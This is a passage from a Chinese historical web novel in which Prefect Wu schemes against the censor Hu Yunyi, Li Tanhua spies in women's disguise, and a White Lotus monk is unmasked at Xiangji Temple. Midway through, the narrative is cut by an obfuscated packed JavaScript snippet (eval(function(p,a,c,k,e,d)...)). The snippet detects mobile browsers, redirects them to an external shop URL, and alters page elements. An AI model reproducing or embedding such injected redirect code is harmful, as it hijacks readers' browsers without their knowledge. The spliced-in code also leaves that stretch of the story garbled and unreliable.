吴孟祺恭恭敬敬地敬了一杯,等着对方说出大家都心知肚明的策略。当然不是把云翼在半道上弄死,他要是在吴某的地盘上死了,那事情才真正闹大了。重要的是,该怎么把这尊活佛,平平安安地迎了来,再平平安安地送回去……这种事,只有王怜花能办到。他是个人间享乐的财神,不可思议的欢乐的贵公子,千机百略,灵巧美丽,琴棋书画无一不精,只有这样的人,才能去接近云翼,用那种俗世的欢乐去感染他,再把他拖入那道深渊——我们人人都在其中安居乐业、心满意足的深渊。那叫生活。只有王公子才能深深地进入他的心扉,找一找,人间难道没有他真心在乎的东西?是人都有这种东西,然后,再投其所好。在酒桌上定下的这条奸计,或许将是对胡云翼的一种伟大改造。忘了那二十两银子,忘了大诰二编,忘了二十年寒窗,忘了胸中浩荡青云志吧,只有忘了这些,才是平步青云的开端。我们难说这起人就是准备害他。 王怜花的那双眼睛……真正是如丝的媚眼,真不知是在看什么,也许没有在瞧在场的任何一个人。在那令人屏息凝神的沉默中,他笑了起来: “知府大人求我去交朋友呀,那我就去交交不妨。” 宴后,吴知府心下稍定,再过几天,胡云翼终于到府,这才是真险些把他吓出毛病来了。 传说中的茅坑石头、大家的祖宗、活忉利天大佛、柳下惠再世……的胡云翼,身边竟然跟着一个美丽的女孩子。 胡大人骑一匹潇洒的骏马,传说他清白不受贿赂,则这匹千金良马他不知道要不吃不喝上班上千年才修得来?那美丽的女孩子,则一身富家小姐的盛装,骑青驴一条。两人在府前下了马,云翼要那女孩子暂且退下,姑娘咬着嘴唇,拉着云翼的袖子,娇声道: “大人却要奴家退到哪里去?” 这一嗔,可是叫在场众人骨头都酥了。吴知府连忙道: “大人的宝眷竟也经了这么一番舟车劳顿,像是累了,倒不如公事容后再谈,先请大人驿站歇息去罢?” 云翼横了那姑娘一眼,像还是一点不知怜香惜玉,却道: “不妨。” “那胡大人也该赏脸吃下官一杯酒,也是下官替大人和夫人洗尘的心意。” 后来,过了几天,吴知府才反应过来。原来胡大人说的不妨的意思,是他走到哪儿都带着这姑娘,据说倒不是他正头的夫人,却是他的侍妾。这是什么世道哇?胡云翼这样的人,就能有这么美貌的侍妾?再说他是拿什么养活她的?观察了几天下来,吴知府发现这姑娘使银子好像流水似的,虽然绝大部分都花在云翼身上了,就这样,这姓胡的还不给她好脸。就这样,她对姓胡的竟还柔情款款、殷勤小意。就把姓胡的美死算了!再说,这好像不是传说中的那个胡云翼该有的家庭条件吧? 难道,大家都不肯信的那个胡云翼和杭州名妓罗桂林的风流事,竟是真的?李孝元竟也不反过来再参他一本,小孩子还是性子软。 百闻不如一见,一切印象都被颠覆,吴知府不得不以全新的眼光观察起云翼来。发现他对这个侍妾,真是苛刻极了,好像就恨不得她不存在,这倒是真的,因为在衙门里,她走到哪儿,哪儿就是一片人的眼睛发直,什么事也做不好。可饶是如此,他还是不赶她走,由着她娇娇怯怯、温温柔柔,被他训得大气不敢出,但就是异常固执地在旁边跟着。吴知府心里不说真是乐开了花,送上门的把柄呀!倒不知胡云翼有多么大的胆子,敢做这么明目张胆的荒唐事。或许他嘴上硬,其实心里享受姑娘的殷勤享受得不得了。胡大人的兴趣爱好真奇怪。不过,出于谨慎,吴知府还是要好好地调查一下这姑娘的出身,万一她是哪位阁老、大人家的女儿,自己说不定还要吃不了兜着走。于是,胡大人抵镐的第三天,吴大人也派出了他的家眷。谁还没有老婆! 26.做巡按要记得带老婆 上一章说到,西安知府吴大人,仕途不顺,回家寻他的老婆。吴夫人石氏,客气点说,是大明的保护动物兼祥瑞。若要不客气些,就可以说她是一位母老虎。想想看,你回到家,或者说,回到母老虎的巢穴里,见到她坐在椅上,噼噼啪啪地把一个笨手笨脚的小使骂得大气也不敢出,要鼓起多大的勇气,才能向她提起另一个姑娘?石氏一拍桌子: “姓吴的,你什么意思?你前两天才抬回家来一个不够,现在又喜新厌旧啦,又有新人入你的眼啦,我成什么啦?我到底是你太太,还是你家的婆子,专门给你勾搭那龌龊勾当的?天理呀?祖宗呀?染香呀,染香!染香!” 染香姑娘,很快地从后边转了出来。刚刚娶过门不多几天,身上仍是新娘子的喜气洋洋的妆扮,一身闪着银丝的红袄儿,也不怕善妒的太太看了心里烦。太太着实是烦,这两天好歹奈何了她一顿,可染香姑娘也不是吃素的。到了晚上,太太和大人撕扯到最后,一脚把他踹下床: “你啊你,你跟你那个小狐狸精去吧!没良心的,一天到晚地显摆着那么一身,倒算她好看。” 染香一见到石氏这番气冲斗牛状,便故作惊讶地道: “啊呀,谁惹姐姐生气了?姐姐,不怕,老爷在这里,有老爷帮姐姐说话呢。” 石氏就把住老爷的袖子,一手揕着染香,做一个荆轲刺秦样,说: “你还指望他?这没良心的人,又要娶小的来家了!妹妹呀,到时候,可只有你和我两个相依为命了,他要去宠爱他的那个小的了。” 染香一听见,好像晴天霹雳,钉在原处不说话了。过了一会儿,大眼睛里渐渐蓄满了泪水,然后扑簌簌地落下来。她还要吸着鼻子,强颜欢笑地说话。 吴知府头都大了,人生啊,真是险恶,谁能知道我们吴大人每天都是这样冒着生命危险回家?他即刻赌咒发誓地说: “夫人哪,你实在是误会我了,我要有那般朝三暮四,还是个人?这姑娘不是别人,正是前两日下降的巡按御史胡大人的姬妾……” 石氏一听,又几乎晕过去: “你又看上人家的老婆啦?早知道我也该先嫁给别人,叫你眼馋一辈子。” “什么叫‘又‘啊,夫人!” 吴大人的声音,越说越小;心里越来越虚。染香还在抽抽嗒嗒地哭鼻子。一看见她,吴大人就恨不得左右开弓给自己两个嘴巴,可惜世上没有后悔药吃。 且说半个月之前,长风镖局丢了镖,只有两名镖师劫后余生,回来向老师父报告当日惨状。三人抱头痛哭,老师父算计过来,算计过去,觉得能撑持门户的,竟只剩下了查猛,便做主将女儿染香嫁给了他。孰料染香姑娘对这个夫婿竟然这么看不上,一气之下投了河。吴知府的夫人正是咸阳人,当日逢着她回娘家省亲,要说巧倒也真巧,谁叫那个日子又利嫁娶、又利出行呢? 石氏在河里把染香姑娘给拾着了,姑娘哭哭啼啼地向她诉说冤苦,说那查猛平日里是怎样的自命不凡,怎样的用一双油腻腻的眼睛把她上上下下舔个遍,怎样的冒出一种“迟早你得是我的”的凶光,说得石氏一阵奋勇之气发作,便将她收留了下来。要知道长风镖局的张老镖头虽说自号一斧镇西北,他家里的染香姑娘却是真正的艳名播四方,老镖头从前对此女颇有奇货可居之意,孰料一朝风云变幻,他最后只能拿女儿去讨好原本在自己手下拣剩饭吃的查猛。而染香固不愿嫁给查猛,以至投河而死,却叫老镖头心中松了口气之余,疯得更厉害了。 谁也不知道,染香竟然未死而被石氏收留,石氏原本让她在房里做个使婢,但是如此美貌的婢女,怎不叫丈夫看在眼里馋在心头?末了,他竟把染香向太太要了来,收个二房本来是可以不要大操大办,一顶轿子悄悄抬进来便罢,染香姑娘掉了两滴眼泪,知府便觉得在偷摸之余,还是要适当地铺张一下,姑娘坐花轿毕竟是一生一次的是,于是偷中带拿,摸里带横地把姑娘娶进了门。 娶妾是在月初,说起来,还是多得王怜花帮忙。虞二听说吴大人要娶小,姑娘的身份却不好说,心里只道怕不是个青楼女子,光明正大地赎回家,有损官员清誉,替他央到王怜花跟前。王怜花便把姑娘接去,在他府上住了几天,过些日子送回来,就说是怜花公子的妹子。这会儿这起人还都觉得王怜花挺好说话的。石氏在家里险些给气疯了,大喊大叫“我这不是搬起石头打自己的脚吗?”,染香就在旁边说夫人您说的是。两个女人的关系,到如今渐趋稳定,维持着一种不知到底怎么达成了的奇怪的平衡。 如今,吴知府回来提起第三个女人,石氏立刻团结起一切她可以团结的对象。吴大人毕生唯独受不了的就是染香的眼泪,因为吴夫人是只石老虎,她是不会掉泪的。染香呢?正像每一个没见过女人的男性所幻想出来的梦中的幻影一样,温柔、怯懦,一心一意系在你的身上,动不动她就要哭,再不然就心碎而死。染香一哭,他是实在没辙了,只好又去求夫人,讨好地说: “夫人哪,你难道不知道,你丈夫我如今是命悬一线哪!连着咱们这个家,都是岌岌可危。” 夫人坐在椅上,染香给她打着扇儿;半阖的眼眉下面露出一点点光来,睨着丈夫。同时哼出一气: “亏你也知道!” 吴知府实在给她缠得没办法,心里一急,竟拿出做官的款儿来,站直了,怒道: “你听听你说的这是什么话!有这么跟夫主闹腾的吗?” 奈何石氏比他理直气壮多了。 “怎么?心里知道没理,就恼羞成怒啦?这小的才进门几天哪,就惦记起别的姑娘了,最好是气死了老婆,再随你折腾去吧。第二个,不如就叫我黄泉路上带着,我俩做个伴儿,反正你也腻了。这院子空下来给你娶新人,多好。” “我真是求你了,夫人哪,你就听完我说这几句话吧。这不是近日上头降下御史,你以为他是干什么的,还不是冲着我来的,他是要考我的政声政绩,是要找我的茬来的。吴某人行得正坐得端,原不怕他考,可那胡大人又真是个难伺候的主儿,到这份儿上,不得仔细点巴结着?” “这姓胡的一听就不是什么好东西。” “是哇,可是咱们一家老小的性命偏就叫他给捏在手里,在家里骂破大天有什么用?这一回,胡大人且把他的家眷给带来了,夫人你好歹也是府台的夫人,有诰命在身的,就算是尽个地主之谊,也去和那胡家的交接交接,好歹……得替我打听清楚……” “果然不是好东西!做个巡按,又不是常任的官儿,把老婆带着做什么?” “我是没做巡按,我要做了巡按,也把老婆带着了。” “还不知心里想的是哪个老婆。” “啊呀,夫人,你冰雪的聪明,难道竟不知夫妻二字,夫主只有一个,妻子也只有一个,除了你,我还靠谁?” 石氏白了他一眼。 当天下午,吴夫人带着染香,坐一顶青缎的小轿,到馆驿里去望胡大人伉俪。她是特意挑选了这个时间,因为吴知府告诉她,这时候胡大人应该还待在馆驿里。要说这姓胡的,几天里也颇为老实,吴孟祺是东道主,带着他四处游逛,名义上是请大人探察民情,其实不过是领他到一些无伤大雅的地方装装样子而已。像那府学之中,就有上百个摇头晃脑的腐儒子,用念经般的颂圣之声淹没了他,旁边还有个美丽娇怯的姑娘帮腔,怎不叫人头昏脑胀。胡大人也懒散,对这番安排并不发表什么意见,并且每天迟到早退,退也就是退到馆驿里去,美妾在旁,不爱出门,也是应该的。 眼下吴夫人到了馆驿,先不叫人去通报,她自己在厅上正襟危坐,反而小声吩咐染香道: “你且进去瞧瞧。” 染香眨巴着大眼睛: “姐姐,瞧什么呀?” “好笨哪你,能瞧着什么就瞧什么呗。” 染香犹犹豫豫地去了。不过她是个机灵的姑娘,从路过的小厮手里夺过人家的盘子,那盘子里盛着些点心,不知是要送去给谁的。小厮年纪不大,个儿不高,扁着嘴要哭,染香赶快说:“等下就还你!”然后装作个侍女的样子,进去了。 胡大人所住的那小院不大,打扫得很是清洁,院子一角种着棵大槐树,今年比较热,那槐树竟还开着花呢,染香看了看枝头,心想,花儿就这样白白地开着可惜,不如捋下些来回去烙饼,唉。随后猫在了树干后头,刚藏好就听到屋里蓦地一阵清晰、尖锐的瓷器破裂声,肯定是有人砸了个杯子,然后一个女人就呜呜地哭起来了。她应该是正好坐在窗边的炕上,一墙之隔,抽抽嗒嗒的声音好不惨然。接着又是那女人哭着说: “老爷,你要嫌弃奴家,当初何必见面,何必定下这一段情分来?你可知奴是把什么都舍了才来跟你,你,你,你就这么狠心,难道奴在你心里眼里连一个榆钱儿都不值么?” 半晌,一个男人的声音,长叹一声: “你啊你,你把我的脸都丢尽了!” 那女人又是一阵哭,然后说: “奴家既是个女妇人,只知道三从四德,从跟了你这个狠心的人,哪里不曾百依百顺,哪里少了妇容妇功,奴只望得丈夫宠爱,岂止他今日说出这番话来,何其冤孽……”说着轰轰烈烈地大哭起来。染香又听了一会儿,听见那里只是哭,男的不住地跺脚、叹气,估计是再没什么好料了,便又蹑手蹑脚地飞出去,把这一番新闻告诉给夫人知道。馆驿的吏员们,见到这两个女人也不去访胡家了,就在厅上嘀嘀咕咕,还笑,真不知道是吃错了什么药。笑了一番,吴夫人就打道回府——既然里面正是两口子吵架,干嘛去触那个眉头?夫人回来坐在堂上,叫人去对知府大人说,家里有急事,速速回来,知府还以为是府上走水了,匆忙一顶轿奔回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998448|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见夫人眉飞色舞,算算时间,若是把他交代的事儿给办成了,也不能有这么快。等听她前因后果这么一说,又是皱眉,又是咂嘴地走了。 那天晚上又和王学柳、王怜花这二王相聚,吴孟祺正在心里按住了这事儿要拿出来和大家一起讨论,王学柳却是忽然道: “大人是否觉得……那胡家的姬妾……很像某个人……” 王怜花手撑着脑袋,百无聊赖地瞧着他们,因为他们谈到京里的人,他不认识。王学柳道: “学生今日才见着了胡大人伉俪,却怎么看那姑娘越像……” 他左右瞧了瞧,又望了一下房梁,然后小声道:“像李孝元!” 可是怎么能像李孝元呢?吴孟祺略一琢磨,“啊呀!”地叫了出来。要说王学柳也是随口一说,漂亮的人总是有几分相似的。可是吴孟祺联想到今日家眷听去的只言片语,福至心灵,叫了起来: “难道那姑娘就是……李孝元的妹子?” 他把自己兜里揣的那个惊天大八卦拿出来和大家分享了一通,当下大家各讲八卦,互通有无,又提到一年前的宫乱,竟也把李探花的妹妹掺和其中的事。吴知府道: “难道皇上竟宠爱他到这个地步,把他的妹子放还出宫?” 王学柳道:“可是,他宝贝这个妹子到连皇上都不愿给,以为天家威严清冷,不得享百姓之福……他怎会把妹子给了胡云翼呢?” 一个答案呼之欲出,两人面面相觑,话到嘴边却都好像不敢说出口似的,王怜花笑道: “有意思。有意思。这么说,这位林姑娘却是和胡大人私奔出来的了?胡大人定料想不到姑娘有如此痴情,故而和此女在馆驿中有一番争吵。” 吴知府如今的幸福,真是难以形容。首先八卦够劲,其次这还不算拿住了胡云翼的七寸?要知道小李探花一向和姓胡的有仇,要是再叫他知道捧在手心怕化了的这么个妹子叫胡云翼给弄去了……当下就趁着酒兴,连声叫人拿纸笔来,给京中的小李探花修书一封:李探花,最近是不是有点儿烦呀?……想不想知道你的妹子在哪儿呀? 且说那天云翼在馆驿之中,心中焦急,因为连日以来,吴孟祺把他看得好紧,他心里急欲得到一点自由去办他的差事,想要沿街好好地走一走,看一看这儿的人情,访一访百姓的疾苦,却是根本没有这个机会,连那遭抢的府库到底是哪一座都还没问出来。心里一烦,对李探花也不客气,因为李探花若不这么死死地跟着他,他自己又是轻功好得一跺脚能上了房,就让他去办正事多好?然而人家偏就是不,偏就是要扮成个姑娘家,一刻不歇地粘着他,叫那姓吴的看笑话。好在吴知府天天要和他周旋,两边都是个胶着之意。 李探花正要说话,却听见外面有人鬼鬼祟祟地进来了,躲在大槐树后面,他便随手将桌上的茶杯望地上一砸,就咿咿呀呀地哭起来了。 李探花的父亲有个好友,叫做李开先,雅好北曲,后人可以读到他的许多剧本如《宝剑记》。这会儿宝剑记还没写出来呢,不过有了这么一层渊源,李探花也可以把南曲给来上两段儿,学姑娘的声音,也能学得像些。要不,对男子来说,学姑娘的声音是不容易的。不过他的女音,就像云翼评价的那样,像个撒泼打滚的大小姐。并且尤其擅长哭——哭也是曲艺里的一门功夫哪。李探花把杯子一摔,自己一低头就抽抽嗒嗒地哭开了,手上向云翼示意窗外有人,云翼只好配合。虽然配合,也实在纳闷:我这究竟是造了什么孽呢? 等染香跑出院子,李探花当即住了声息,翻上房顶,过了一会儿,回来汇报说那是吴孟祺家的姬妾。云翼说好罢。坐在炕上。反正他这几天在吴知府眼前丢的人够大了,不差这点儿,可是这姓吴的究竟要做什么呢?思想了一会儿,皱眉道: “他在馆驿里里外外安插了这么多眼线将我看住了还不够,还要派他的家眷过来?” 李探花笑道: “瞧你这位‘铁胆御史’把他给吓成什么样儿啦?” “那定是他做贼心虚!我非拿住他的把柄不可。” 云翼瞧着李探花,迟疑着道: “你能不能……” “大人有什么吩咐,奴一定万死不辞。” “哪儿有什么要你万死的事儿,你只要替我去瞧瞧吴大人今晚要到哪儿去、和什么人见面。”云翼笑了笑,又添上一句,“今儿他家的听去这一番说话,定然要当作个什么事儿报告给他了。如此惊人的消息,他又一定要和自己的同党聚起来猜疑一番。毕竟,我相信吴大人到现在最想知道的就是你的身份。” “得令。” 李探花微微一笑,一眨眼就飞去,云翼还趴在窗口叮嘱道: “三更前回来。” 李探花又一眨眼飞回来: “知道了!”见云翼被他的身法吓了一跳,他才笑着走了。 27.错认笊篱当木勺 夜里,王学柳因为是同年,由他以自己的名义起草好了给李探花的书信,就以一种读圣贤书似的抑扬顿挫,念给大家听,席上人无不笑了个前仰后合。李探花伏在房梁上听,也忍不住要笑,但还得忍着,真是好辛苦。且向下张望,只见是大宅子后头的一间小屋,外面倒宽阔,却用帘子隔出这么一间来,似乎是几个知己朋友吃酒说话的地方。席上是四个人,两个是认得的,就是知府吴讳孟祺元寿,和长安的知县王讳学柳宗文。然后是一个黄脸膛的瘦削的中年人,因是私下相聚,连小厮都没有,席上就是他伺候,这人却是有点瘸,晃悠晃悠地在席上忙活。还有一个漂亮的少年,穿一身时兴的绸缎衣裳,帽子上镶着玉,指头上戴着金,可是金和玉,都不能夺走他美貌的光彩。 却见那少年也抬起脸来,手里闲闲地捏着酒杯,眉眼懒散地一掀,竟仿佛是发现了李探花的所在,便是微微一笑。此人的风流倜傥,难以形容,李探花看了心爱,便也向这人比了个嘘声的手势。往下听到王学柳念到一个紧要处,恐怕再听下去,自己也忍不住笑出了声,便匆匆地潜出去了。 到了夜深,吴孟祺要留王怜花在他的门下歇了,王怜花也没有拒绝。于是由着一个小厮,领着他到书房去歇宿。甫一进门,便瞧见桌上放着一张书笺,这笺儿倒无甚稀奇,可是王怜花是个极端敏感、细心的人,闻见这屋中尚有淡淡幽香,几乎不可捉摸,就是在书笺上残存着的,料是今夜那位梁上佳人所留。打开一看,佳人所写,竟是一笔魏碑,古朴苍劲,使他又是大笑,说了一声“好!”。外面小厮听见了,倒心想王爷真是醉了吧? 原来李探花出了小屋,在吴大人家里闲逛,寻至书房,想着既然来了一趟,自来自去实不礼貌,要留下几个字与他,便咬着笔杆子在那儿想了一会子。月光淡淡,落在书笺上,把那笺儿照得一层不可捉摸的蓝,他想,陕西是本朝初年,起兵造反的女侠唐赛儿旧游之地,如今出了流民洗劫府库这么大的事,事后又这样消失得无影无踪,必不可能真是一群乌合之众,那么罪首是以什么名义号令的呢?这个名义,红巾军的明王韩山童用过,被本朝天子一时尊奉为主的韩林儿用过,据说通晓仙术兵法,后来脱身独去,始终也没有被朝廷抓住的女侠唐赛儿用过,就连他母亲无忧娘娘,也和他讲过这些故事。心念一至,便信笔写下“南无阿弥陀佛”六字的佛号。这是白莲教的真言,而叫王怜花看了不住地笑。一会儿花窗格子那边施施然来了一个美丽的女孩子,透过窗格子来拉他的手,道: “公子怕是忘了我了,没有我,你也能笑得这么开怀,岂不知我为了公子你,日思夜想,怎还笑得出?” 王怜花抚着姑娘的手心,笑道: “而今不是见着了么?你笑一笑吧。” 染香感到有什么东西被他塞进了自己的手中,却是一只荷包。这是定情之物,足见王怜花也是惦念着她的,喜上心头,笑得两靥生香,王怜花见了喜欢,她又从头上拔下一支珠花与他,他也随手就在头上戴了,道: “好妹子,与我收着这东西,过些日子问你要,你若丢了,我才罚你。” 染香笑道: “公子与我的东西,杀头也不能丢。” 正还要密语几句,见到回廊上一瘸一瘸拐过来一个人,正是虞孝廉,便当即收住了声,匆匆地走了。一面走,一面低头将那荷包按在心口上。她又见王怜花不管不顾地将那支美丽、昂贵又显眼的珠花戴在头上,知道他不怕两人的私情叫人看见,是一位坦坦荡荡、敢作敢为的情种,万般柔情,涌上心头。然后就走去侍奉老爷去了。 这边王怜花侯她走了,把珠花自头上拔下来,随手扔进袖里,自去安歇。只有那虞孝廉见到了姑娘,吓了一跳,原来他虽然帮助吴知府拉了这一层皮条,实际上并未真的亲眼见过这姑娘,如今睁眼一瞧,竟不是别人,是长风镖局张老镖头家里的染香姑娘,惊得心中一跳,又不好发作,低着头匆匆走过。这一夜却也无话。 却说李探花回到馆驿,告诉云翼一切情形,这两人也笑,李探花道: “是了,这才是个真正的好笑话儿,连我们铁胆御史都要笑。”云翼叫他别瞎说。而后又微微笑道: “这下好了,这姓吴的,自以为拿住了我的把柄,免不了他要露马脚出来的。我却不耐烦等他自露行藏,到了明日,便要诈他一诈。” 李探花坐在炕边,把身上的钗环裙袄一件件地卸了下来,堆得这么一大堆。他道: “这个我也替你办好了,少不得他明天吱吱哇哇地来寻你。” 云翼道: “你又自行其是了。难道我由得你胡闹?”却也未再多说什么。到了次日,在衙门中和吴知府相见,见此人眉眼中含有一股邪淫之气,仿佛是似笑非笑地望着他,就这么被他望了一整天,实在浑身不自在,又不知李探花替他办了什么,不好发作。倒是李探花自己咬着指节道: “怪事,此人竟这般沉得住气,难道我错看了他?”仔细瞧瞧又觉得不像,回想起昨日见过的那个美貌少年,知道如果有人做些手脚,定然就是他了。向云翼一说,云翼就要教训他: “你的法儿竟不稳当。”李探花也只有认了。 此一日又是太平无事——有御史大人在此,就是纸包着火烧得快熟了,惨叫的时候也一定要喊“无事”、“无事”的。那边云翼又是觉得李探花的法儿不好,要照他自己的办法来,正要寻个衅好发作时,吴知府却冷不丁问他有没有访过本地的香积寺。 读书、做官的人,是不问神佛之事的,何况本朝的嘉靖皇帝,崇道而远佛,云翼闹不清他是个什么意思,不过这么久了,此人能允许他自己到什么地方去,而不是他要出个门之类举动都千拦万阻,实在是个不可多得的机会,便道: “还不曾访过贵地宝刹。不过家里的这个,倒对佛祖有些敬意,这香也是该去上一上的。” 吴知府道: “大人身上的这个担子,是帮着皇上体察民情的,这香积寺虽然地方远些,最是那小民摆摊赶集的地方,到了晚上,张灯结彩,川流不息,热闹得很。大人为着公、为着私,香积寺的景致都是不可不看。又是为着访查民情,下官斗胆出些个馊主意,不若着了家常的便服,竟不拿这些个官架子,携了宝眷,与民同乐才好。” 云翼更加纳闷,不知道这东西怎么就通起了人性,这样体贴。于是当天晚上就和李探花扮作一对寻常的夫妻,牵了那葫芦驴儿,到香积寺去。这时又与此前不同,因为李探花扮的那个花枝招展的女子,不好在外走动,他便又改作一个青衣小童,挽两个攥儿,云翼妆个秀才,戴网巾,穿布直裰,驴子背上搁着书箱琴囊,却把御赐的两把绣春刀藏在其中。小童格外地活泼爱笑,又没规矩,拉着他家的主人,一会儿老爷老爷,你瞧这个,一会儿老爷你瞧那个,老爷你给我买这个,老爷你给我买那个,老爷这个画子可笑,老爷这却像你。老爷板着脸掏了几个大子给他买了根糖棍吃,又说:“你不用欺我不知道,我却认得这是个狮吼观音。哪里像?” 李探花笑得了不得,说:“不像观音,像狮子。” 云翼就作势要拧他的耳朵。李探花赶快跑开。他是生长豪富之家,从来也没有到这市井芜杂的地方来过,从前跟随他师傅瓢和尚修行,就是和尚自顾自地化缘,他在旁边跟着。那一带的人家,那个不认得他是尚书家的公子?故而家家户户都争着尽力捧出好东西来与他,又有攀附权贵者,还在旁边追着一路伺候。因此他只觉得人间柔情款款,恋栈不忍去。此番见了一个真正的市井,何等的新鲜,跑来跑去,买了好多乱七八糟的东西,倒抛下老爷在那牵着驴子慢慢地走。人群扰攘,人间热闹,路边的每一家店铺,都挑出灯笼来,照得几条街辉煌如白昼,地上的人的轨迹往来交织,烟火气化为小摊上吃食的香气扑面而来。有那么多人谈笑的声音、叫卖的声音,吵架和讨价还价的声音,辘辘的车马声,马蹄声,驴蹄子踢着个谁了,要么小孩子拉着她的老祖母,祖母拄着一个棍,慢慢地走。可是抬起头来,无星无月的晚上,山门那么的高,从山上的寺院往下一直有游人的灯笼上下往还,汇成一条长长的天河。可是越往上去,橙黄的星点越是暗淡,最终归于漆黑的寂静。仿佛其实并没有人能摘得一片星辰。 云翼久久地凝视着黑暗中的那条长长的阶梯,不知他心里想些什么。却就在他发呆的时候,忽然长街的尽头,跌跌撞撞来了一个人。头发散乱,衣襟半松了开,腰带松开,拖拖拉拉,奇的是却不让人感到是放荡寥落之徒,只觉得有太白醉酒吟诗的慨然之态。本是邋遢的一身,被他穿得像是那峨冠广带的屈原一般。这个人看看真是醉了,手里抓着个长长的不知什么东西,一路走,口里唱道: 着不着,错认笊篱当木勺。 昨夜三更月正西,麒麟憾断黄金锁。 幼年曾到玉门关,道上分明醉眼看。 忆昔面前当一箭,至今犹是骨毛寒。 只因面目无人识,又往天台走一番。* 云翼正望着远处黑暗中的山门,心中惶惶然有所感,耳边听得他唱,不觉痴了,站在道中央,浑不知避让,那人就一下子撞到他身上来,驴子跟着啼了一声。云翼如梦初醒,将这人抓住,道: “你这人怎醉成这样?家在哪里?” 那人抬起头来,笑了一笑,原来是个光彩照人的少年,云翼见他穿得也不像话,做的事也不像话,或者竟是个戏子儿。正要计较着寻这少年的下处,少年却忽然拿起手中的那长长的什么东西,往他脑袋上狠狠敲了一下。想不到这人竟然有这么大的力气,敲得云翼眼冒金星,岂有此理!可是事情太奇,他连到底要不要发作都一时转不过来,少年哈哈大笑道: “瞧你这位老爷却要悟了!我是助你一助儿。” 有这么帮忙的吗?把人家脑浆都给砸出来,倒确实可以早登极乐。云翼叹了口气,心想这人和李探花倒是一路的,只是不知道他又跑到哪里去了。少年嘻嘻笑着: “我见你是个有悟性的人,老爷,我敬你一杯。” 竟将手里的东西凑到云翼的嘴边,不管不顾地就要他喝。原来他手里一直拿着的那东西,竟是一只竹筒削的打酒的勺子。叫他晃晃悠悠拿了一路,刚才还用来做成凶器,现在里面倒还有半勺子酒晃荡。云翼说: “不要胡闹!否则,拉你到衙门里治。”少年听了更是大笑。一手指着天边的寺院,寂寞的几点灯笼的火光,叫道: “南无阿弥陀佛!” 另一手垂落下来,勺里的酒哗啦啦都浇在地下。真是不知道拿这帮疯东西怎么办。云翼说: “不要笑了,你告诉我……”那少年却往驴儿屁股上猛拍了一下。他要是用刚才敲云翼那么大的劲儿,那驴儿痛得向前奔 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云翼本来是有一点热心地站在门口听了,听了一阵,觉得俗不可耐,笑着摇一摇头,再一看李探花,早就不耐烦听这些因果报应,伏在驴背上睡着了。云翼在心中叹了一声,想到胡小娘,现在说不定在家里做针线,等着他回来。便越发有可怜之意,觉得李探花这样生动炫耀,实际是个孤苦的人。皇上要把他当成一件宝物,藏在禁中,那也是好的。干嘛又要他出来历风尘呢? 他拉着驴儿要再往前走,驴儿竟恋恋有驻足之意,云翼也忍不住笑: “你呢?你却也要悟了?” 李探花枕着驴子的脑袋,毛茸茸的头顶,此时睁开眼睛笑道: “我却和葫芦儿有缘,说不定上辈子就是姊妹兄弟。” “那么为什么这辈子你投身成人,它却只能做驴子?” “啊呀,这可不好说了。也许上辈子它是夫主,我是妻,这辈子罚它反过来给我骑。” “说些什么呆话。” 李探花揉了两下驴耳朵,“葫芦呀葫芦,咱每上香去吧。佛祖保佑你下辈子托身成人,我再去替你当驴子。”迤逦来至天王殿前,还没进去,就见到一个僧人,赤着脚,披头散发,跑进大殿里去,两手抓住释迦牟尼佛旁边供着的灯油,就猛力推倒。那是左右三百斤的香油,香客们供奉的,此时灯油洒了一地。又抓起长明灯盏来往地下一掷,登时大殿火起,香客们不知他是何人,都怔了一会儿,后来呼喊起来。一左一右上来两个沙弥,就要把这人给扭住,送去见方丈。正乱间,那散发的僧人振起他穿着破烂百家衣的两臂,高呼起佛号来,又说: “本寺方丈勾结官府,贪赃枉法,你们要扭我去见他?我倒要扭着他来见释迦!看他在佛前有何话说。”众人面面相觑,两个扭住他的僧人也不觉手软了,他就猛力一振,挣脱出来,又要跑走。孰料在门口,有一个读书的老爷;一个骑在驴上的小童,那小童真正可恶,一左一右地拦着他,使后面的人又赶了出来,而四面八方人就更多了,呼号着救火。那僧人见避无可避,索性站定了,叫道: “本寺方丈贪赃枉法,人所共知,你们不要一个个地装作眼瞎!佛祖都是知道的。这样的人,就是念千万句阿弥陀佛,念破了嘴头子,西方极乐也是不收他的,死了还要下油锅!” 终于有个师兄看不下去,走过来道: “赵全,你已经被逐出山门,莫再这里扰乱佛门清净,且玷污老方丈的名声。” 赵全冷笑说: “是我玷污他的名声,还是他玷污我佛的名声!” 那师兄唉呀唉呀地转了两圈,摊着手说: “你到底要怎么样?” “我要抓他去下油锅!” “莫在这里发癫了。”师兄道,“赵全,别人不知道,我却知道你。你是日日纠集了一帮乌合之众胡闹,跑过来要钱,你说老方丈爱财,你却不是爱名利有过与他?你为着要做个有名气传于后世的高僧,势必要闹出些动静来,故而你一天到晚做个觉者的模样,四处发癫,索要钱财。你以为这样就能得了真知识!” 那赵全也不癫了,直直地瞪着他师兄,笑道: “哦!师兄,善哉善哉,你如今也悟了,从哪里寻出些大道理,还要来开导我!我做的是济世救民的,无怨无悔。总好过你蒲团上坐定了念经!” 说着他就一摆手道: “罢了罢了。我不同你这些俗人说话。师兄啊,我劝你还俗去吧!这经就是再念十辈子,也念不通的!” 李探花在旁边瞧热闹,着实好笑,跳下驴儿来,道: “两位老师好啊。” 那僧人恭敬地还了礼,赵全道: “又是你这个人,方才跑到我们堆里搅和,现在又来拦阻我,你究竟是做什么的?” 李探花笑道: “老师,不要生气。在下是天台瓢儿和尚的俗家弟子,特来聆听老师教诲的。” 赵全道: “既是要嫖和尚,便上花街酒楼里去寻吧!” “我找不到,要老师带我去。”上前来一把拉住他那尘泥里染得脏脏的手,赵全这样魁梧的人,竟然挣脱不得,又回过头来向云翼笑道: “胡大人,你的运道来了。这便是八月间率人抢了府库,白莲教的高僧赵全师傅。” 